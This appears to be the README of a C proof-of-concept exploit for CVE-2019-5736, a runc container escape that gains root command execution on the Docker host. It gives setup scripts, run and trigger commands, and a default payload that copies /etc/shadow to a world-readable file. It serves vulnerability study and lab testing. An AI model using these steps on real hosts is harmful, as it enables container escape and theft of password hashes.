
C-based PoC for CVE-2019-5736
This repository contains a C-based proof-of-concept exploit for CVE-2019-5736.
This vulnerability allows a malicious Docker container to overwrite the host's runc binary and execute arbitrary commands on the host with root privileges – fully compromising the host system.
Inspired by the original Go-based PoC by Frichetten
This code is for educational purposes only. Do not run it on any system you do not own or have permission to test. Misuse may result in legal consequences.
.
├── docker/
│ └── Dockerfile
├── lib/
│ └── exploit.h
├── scripts/
│ ├── build_docker.sh
│ ├── purge_docker_installation.sh
│ ├── setup_env.sh
│ ├── start_docker.sh
│ └── trigger_exploit.sh
├── src/
│ ├── exploit.c
│ └── main.c
├── LICENSE
├── Makefile
└── README.md
This exploit has been tested on:
sudo ./scripts/install_dependencies.sh
Note: You can safely skip this if you already have installed
wgetandbuild-essential.
sudo ./scripts/setup_env.sh
This script installs Docker without systemd or socket activation. It’s ideal for VM labs.
sudo dockerd
Note: You’ll need a second terminal to run this in the background.
sudo ./scripts/build_docker.sh
This script compiles the exploit and builds a Docker image with the binary inside.
Note: You can also manually build the exploit binary by running
make.
You can completely remove Docker and restore the system to a pre-installation state:
sudo ./scripts/purge_docker_installation.sh
First we start our exploit container. You can either use this command:
sudo docker run -it --name exp --rm runc_exploit
or the included shell script:
sudo ./scripts/start_docker.sh
Inside the container we can now start our exploit binary:
./exploit -c "$COMAND"
The binary takes three arguments:
-hprints the usage message and-cdefines the command string payload we want to execute on the host. The last-dargument toggles debug prints during execution. (eg. parsing information of/proc)
Note: If the
-cargument is not provided the exploit will executecp /etc/shadow > /tmp/pwned && chmod 644 /tmp/pwned.
The exploit now waits for an incomming runc process on the host execute
sudo ./scripts/trigger_exploit.sh
This script will open a new process inside the container executing bin/sh and therefore triggering the exploit.
Note: You could also trigger the exploit by manually executing
docker execon the host but the timing is critical for the current PoC version to work. So it could take a few tries...
If runc was exploited successfully you should see a similiar output:

We are now able to open our pwned shadow file:
